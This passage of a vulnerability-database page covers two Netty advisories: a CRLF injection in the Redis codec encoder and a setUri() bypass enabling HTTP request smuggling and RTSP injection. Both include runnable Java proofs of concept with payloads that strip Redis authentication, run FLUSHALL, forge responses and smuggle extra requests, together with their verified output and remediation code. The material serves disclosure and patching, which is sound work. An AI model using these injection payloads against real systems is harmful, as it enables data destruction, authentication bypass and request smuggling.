| Data Exfiltration | Lua scripting via EVAL enables complex data extraction |
8. Remediation Recommendations
Option 1: Validate in Message Constructors (Recommended)
Add CRLF validation to AbstractStringRedisMessage:
AbstractStringRedisMessage(String content) {
this.content = ObjectUtil.checkNotNull(content, "content");
validateContent(content);
}
private static void validateContent(String content) {
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c == '\r' || c == '\n') {
throw new IllegalArgumentException(
"Redis message content contains illegal CRLF character at index " + i);
}
}
}
Option 2: Validate in Encoder (Defense-in-Depth)
Add validation in RedisEncoder.writeString():
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
String content, List<Object> out) {
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c == '\r' || c == '\n') {
throw new RedisCodecException(
"Redis message content contains CRLF at index " + i);
}
}
// ... existing encoding logic
}
Option 3: Both (Best Practice)
Apply validation in both the constructor and the encoder, following the pattern used for SMTP:
- SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor
- This provides defense-in-depth against custom SmtpRequest implementations
9. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-redis"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-redis"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42586"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:24:08Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "MODERATE"
},
"details": "# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-redis) |\n| **Component** | `io.netty.handler.codec.redis.RedisEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |\n| **Impact** | Redis Command Injection / Response Poisoning |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-redis` module are affected:\n\n- `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation)\n- `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation)\n\n## 3. Vulnerability Description\n\nThe Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\\r\\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.\n\n### Root Cause\n\nIn `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n String content, List\u003cObject\u003e out) {\n ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +\n RedisConstants.EOL_LENGTH);\n type.writeTo(buf);\n ByteBufUtil.writeUtf8(buf, content); // \u003c-- NO CRLF VALIDATION\n buf.writeShort(RedisConstants.EOL_SHORT); // \u003c-- Appends \\r\\n\n out.add(buf);\n}\n```\n\nThe message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null:\n\n```java\n// AbstractStringRedisMessage.java:30-32\nAbstractStringRedisMessage(String content) {\n this.content = ObjectUtil.checkNotNull(content, \"content\");\n // NO CRLF validation\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\\r` and `\\n` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\\r`, `\\n`, and SP |\n\nThe Redis codec has **no equivalent validation** in either the encoder or the message constructors.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty\u0027s `codec-redis` module to communicate with a Redis server\n2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content\n3. The application does **not** perform its own CRLF sanitization before constructing these message objects\n\n**Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.\n\n**Affected use cases include**:\n- Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity\n- Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses\n- Applications that construct Redis monitoring or diagnostic commands from user input\n- Redis Sentinel or Cluster management tools using inline command format\n\n## 5. Attack Scenarios\n\n### Scenario 1: Redis Command Injection via Inline Commands\n\nWhen Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands:\n\n```java\n// Application code that builds Redis commands from user input\nString userKey = request.getParameter(\"key\"); // Attacker controls this\nInlineCommandRedisMessage msg = new InlineCommandRedisMessage(\"GET \" + userKey);\nchannel.writeAndFlush(msg);\n```\n\n**Attack input**: `key = \"foo\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\"`\n\n**Result**: Three commands sent to Redis:\n1. `GET foo`\n2. `CONFIG SET requirepass \"\"` (removes authentication!)\n3. `FLUSHALL` (deletes all data!)\n\n### Scenario 2: Redis Response Poisoning\n\nWhen Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:\n\n```java\n// Proxy forwarding a simple string response\nSimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);\ndownstreamChannel.writeAndFlush(response);\n```\n\n**Malicious upstream response**: `\"OK\\r\\n$6\\r\\nhacked\"`\n\n**Client sees**:\n1. Simple String: `+OK` (expected response)\n2. Bulk String: `$6\\r\\nhacked` (injected fake data!)\n\n### Scenario 3: Error Message Injection\n\n```java\nErrorRedisMessage error = new ErrorRedisMessage(\"ERR \" + errorDetail);\n```\n\n**Attack input**: `errorDetail = \"unknown\\r\\n+FAKE_SUCCESS\"`\n\n**Client sees**:\n1. Error: `-ERR unknown`\n2. Simple String: `+FAKE_SUCCESS` (injected fake success!)\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.ByteBufUtil;\nimport io.netty.buffer.UnpooledByteBufAllocator;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.redis.*;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\nimport java.util.ArrayList;\n\n/**\n * PoC: Redis Encoder CRLF Injection Vulnerability\n *\n * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,\n * and ErrorRedisMessage do not validate content for CRLF characters,\n * allowing Redis command injection via the RESP protocol.\n */\npublic class RedisEncoderCRLFInjectionPoC {\n\n public static void main(String[] args) {\n System.out.println(\"=== Netty Redis Encoder CRLF Injection PoC ===\\n\");\n\n testInlineCommandInjection();\n testSimpleStringInjection();\n testErrorMessageInjection();\n\n System.out.println(\"\\n=== PoC Complete ===\");\n }\n\n /**\n * Test 1: Inline Command Injection\n * An attacker-controlled string injected into InlineCommandRedisMessage\n * results in multiple Redis commands being sent.\n */\n static void testInlineCommandInjection() {\n System.out.println(\"[TEST 1] Inline Command CRLF Injection\");\n System.out.println(\"----------------------------------------\");\n\n // Malicious content: inject FLUSHALL after a benign PING\n String maliciousContent = \"PING\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n // This should be rejected but is accepted\n InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: InlineCommandRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n // Count how many CRLF-delimited commands are in the output\n String[] commands = encoded.split(\"\\r\\n\");\n System.out.println(\"Number of commands parsed by Redis: \" + commands.length);\n for (int i = 0; i \u003c commands.length; i++) {\n if (!commands[i].isEmpty()) {\n System.out.println(\" Command \" + (i + 1) + \": \" + commands[i]);\n }\n }\n\n boolean vulnerable = commands.length \u003e 1;\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Multiple commands injected!\" : \"NO\"));\n System.out.println();\n }\n\n /**\n * Test 2: SimpleString Response Injection\n * When Netty acts as a Redis proxy/middleware, a malicious SimpleString\n * can inject fake responses to the downstream client.\n */\n static void testSimpleStringInjection() {\n System.out.println(\"[TEST 2] SimpleString Response CRLF Injection\");\n System.out.println(\"----------------------------------------------\");\n\n // Malicious content: inject a fake bulk string response after OK\n String maliciousContent = \"OK\\r\\n$6\\r\\nhacked\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: SimpleStringRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n // The RESP protocol uses the first byte to determine type:\n // \u0027+\u0027 = Simple String, \u0027$\u0027 = Bulk String\n // A client parsing this would see:\n // 1. \"+OK\\r\\n\" -\u003e Simple String \"OK\"\n // 2. \"$6\\r\\nhacked\" -\u003e Bulk String \"hacked\" (injected!)\n boolean vulnerable = encoded.contains(\"+OK\\r\\n$6\\r\\nhacked\");\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Response poisoning possible!\" : \"NO\"));\n System.out.println();\n }\n\n /**\n * Test 3: Error Message Injection\n * Similar to SimpleString but with error messages.\n */\n static void testErrorMessageInjection() {\n System.out.println(\"[TEST 3] Error Message CRLF Injection\");\n System.out.println(\"--------------------------------------\");\n\n String maliciousContent = \"ERR unknown\\r\\n+INJECTED_OK\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: ErrorRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n boolean vulnerable = encoded.contains(\"-ERR unknown\\r\\n+INJECTED_OK\");\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Error + fake OK injected!\" : \"NO\"));\n System.out.println();\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \\\n -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" RedisEncoderCRLFInjectionPoC.java\njava -cp \"$JARS:.\" RedisEncoderCRLFInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Redis Encoder CRLF Injection PoC ===\n\n[TEST 1] Inline Command CRLF Injection\n----------------------------------------\nInput: InlineCommandRedisMessage(\"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\")\nEncoded: \"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\\r\\n\"\nNumber of commands parsed by Redis: 3\n Command 1: PING\n Command 2: CONFIG SET requirepass \"\"\n Command 3: FLUSHALL\nVULNERABLE: YES - Multiple commands injected!\n\n[TEST 2] SimpleString Response CRLF Injection\n----------------------------------------------\nInput: SimpleStringRedisMessage(\"OK\\r\\n$6\\r\\nhacked\")\nEncoded: \"+OK\\r\\n$6\\r\\nhacked\\r\\n\"\nVULNERABLE: YES - Response poisoning possible!\n\n[TEST 3] Error Message CRLF Injection\n--------------------------------------\nInput: ErrorRedisMessage(\"ERR unknown\\r\\n+INJECTED_OK\")\nEncoded: \"-ERR unknown\\r\\n+INJECTED_OK\\r\\n\"\nVULNERABLE: YES - Error + fake OK injected!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data |\n| **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration |\n| **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS |\n| **Authentication Bypass** | `CONFIG SET requirepass \"\"` removes authentication |\n| **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in Message Constructors (Recommended)\n\nAdd CRLF validation to `AbstractStringRedisMessage`:\n\n```java\nAbstractStringRedisMessage(String content) {\n this.content = ObjectUtil.checkNotNull(content, \"content\");\n validateContent(content);\n}\n\nprivate static void validateContent(String content) {\n for (int i = 0; i \u003c content.length(); i++) {\n char c = content.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n throw new IllegalArgumentException(\n \"Redis message content contains illegal CRLF character at index \" + i);\n }\n }\n}\n```\n\n### Option 2: Validate in Encoder (Defense-in-Depth)\n\nAdd validation in `RedisEncoder.writeString()`:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n String content, List\u003cObject\u003e out) {\n for (int i = 0; i \u003c content.length(); i++) {\n char c = content.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n throw new RedisCodecException(\n \"Redis message content contains CRLF at index \" + i);\n }\n }\n // ... existing encoding logic\n}\n```\n\n### Option 3: Both (Best Practice)\n\nApply validation in both the constructor and the encoder, following the pattern used for SMTP:\n- `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor\n- This provides defense-in-depth against custom `SmtpRequest` implementations\n\n## 9. Resources\n\n- [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
"id": "GHSA-rgrr-p7gp-5xj7",
"modified": "2026-05-14T20:41:24Z",
"published": "2026-05-07T00:24:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42586"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://redis.io/docs/reference/protocol-spec"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty Redis Codec Encoder has a CRLF Injection Issue"
}
GHSA-V8H7-RR48-VMMV
Vulnerability from github – Published: 2026-05-05 18:27 – Updated: 2026-05-08 19:32Summary
Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().
The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.
In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.
Details
The root issue is that URI validation exists only on the constructor path, but not on the public setter path.
io.netty.handler.codec.http.DefaultHttpRequest- The constructor calls
HttpUtil.validateRequestLineTokens(method, uri) setUri(String uri)only performscheckNotNulland does not validateio.netty.handler.codec.http.DefaultFullHttpRequestsetUri(String uri)delegates to the parent implementationio.netty.handler.codec.http.HttpRequestEncoder- Writes
request.uri()directly into the request line io.netty.handler.codec.rtsp.RtspEncoder- Writes
request.uri()directly into the request line
This creates the following bypass:
- An application creates a
DefaultHttpRequestorDefaultFullHttpRequestwith a safe URI - Later, attacker-influenced input is passed into
setUri() HttpRequestEncoderorRtspEncoderencodes that value verbatim- The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests
This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.
PoC (HTTP)
The following code first creates a normal request object and then injects a malicious request line using setUri().
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;
public final class HttpSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");
request.setUri("/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by HttpServerCodec ===");
server.writeInbound(outbound.retainedDuplicate());
Object msg;
while ((msg = server.readInbound()) != null) {
System.out.println(msg);
}
outbound.release();
client.finishAndReleaseAll();
server.finishAndReleaseAll();
}
}
When reproduced, the raw encoded request looks like this:
GET /s1 HTTP/1.1
POST /s2 HTTP/1.1
content-length: 11
Hello WorldGET /s1 HTTP/1.1
HttpServerCodec then parses this as multiple HTTP messages rather than a single request:
GET /s1POST /s2with bodyHello World- trailing
GET /s1
This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.
PoC (RTSP)
The same root cause also affects RtspEncoder. A minimal reproduction is shown below.
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;
public final class RtspSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());
DefaultHttpRequest request = new DefaultHttpRequest(
RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");
request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
"CSeq: 1\r\n\r\n" +
"DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
"CSeq: 2\r\n\r\n" +
"OPTIONS rtsp://cam/final");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded RTSP request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by RtspDecoder ===");
server.writeInbound(outbound.retainedDuplicate());
}
}
When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:
OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1
DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2
OPTIONS rtsp://cam/final RTSP/1.0
RtspDecoder then parses this as three separate RTSP requests:
OPTIONS rtsp://cam/streamDESCRIBE rtsp://cam/secretOPTIONS rtsp://cam/final
This confirms that the same setter bypass is exploitable for RTSP request injection as well.
Impact
The vulnerable conditions are:
- The application uses
DefaultHttpRequestorDefaultFullHttpRequest - The request object is created first and later modified through
setUri() - The value passed into
setUri()is attacker-controlled or attacker-influenced - The object is eventually serialized by
HttpRequestEncoderorRtspEncoder
Under those conditions, an attacker may be able to:
- perform HTTP request smuggling
- trigger proxy/backend desynchronization
- inject additional requests toward internal APIs
- confuse request boundaries and bypass assumptions around authentication or routing
- inject RTSP requests
The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.
Root Cause
Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.
As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.
Suggested Fix Direction
DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.
Recommended regression coverage:
- verify that
setUri()rejects CRLF-containing input after object construction - verify that
DefaultFullHttpRequest.setUri()is blocked as well - verify that spaces,
\r,\n, and request-smuggling payloads are rejected - verify that both
HttpRequestEncoderandRtspEncoderare protected from setter-based bypasses
Affected Area
netty-codec-httpio.netty.handler.codec.http.DefaultHttpRequestio.netty.handler.codec.http.DefaultFullHttpRequestio.netty.handler.codec.http.HttpRequestEncoderio.netty.handler.codec.rtsp.RtspEncoder
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41417"
],
"database_specific": {
"cwe_ids": [
"CWE-444",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T18:27:35Z",
"nvd_published_at": "2026-05-06T22:16:25Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n public static void main(String[] args) {\n EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length: 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET /s1\");\n\n client.writeOutbound(request);\n ByteBuf outbound = client.readOutbound();\n\n System.out.println(\"=== Raw encoded request ===\");\n System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n System.out.println(\"=== Decoded by HttpServerCodec ===\");\n server.writeInbound(outbound.retainedDuplicate());\n\n Object msg;\n while ((msg = server.readInbound()) != null) {\n System.out.println(msg);\n }\n\n outbound.release();\n client.finishAndReleaseAll();\n server.finishAndReleaseAll();\n }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n public static void main(String[] args) {\n EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n \"CSeq: 1\\r\\n\\r\\n\" +\n \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n \"CSeq: 2\\r\\n\\r\\n\" +\n \"OPTIONS rtsp://cam/final\");\n\n client.writeOutbound(request);\n ByteBuf outbound = client.readOutbound();\n\n System.out.println(\"=== Raw encoded RTSP request ===\");\n System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n System.out.println(\"=== Decoded by RtspDecoder ===\");\n server.writeInbound(outbound.retainedDuplicate());\n }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests 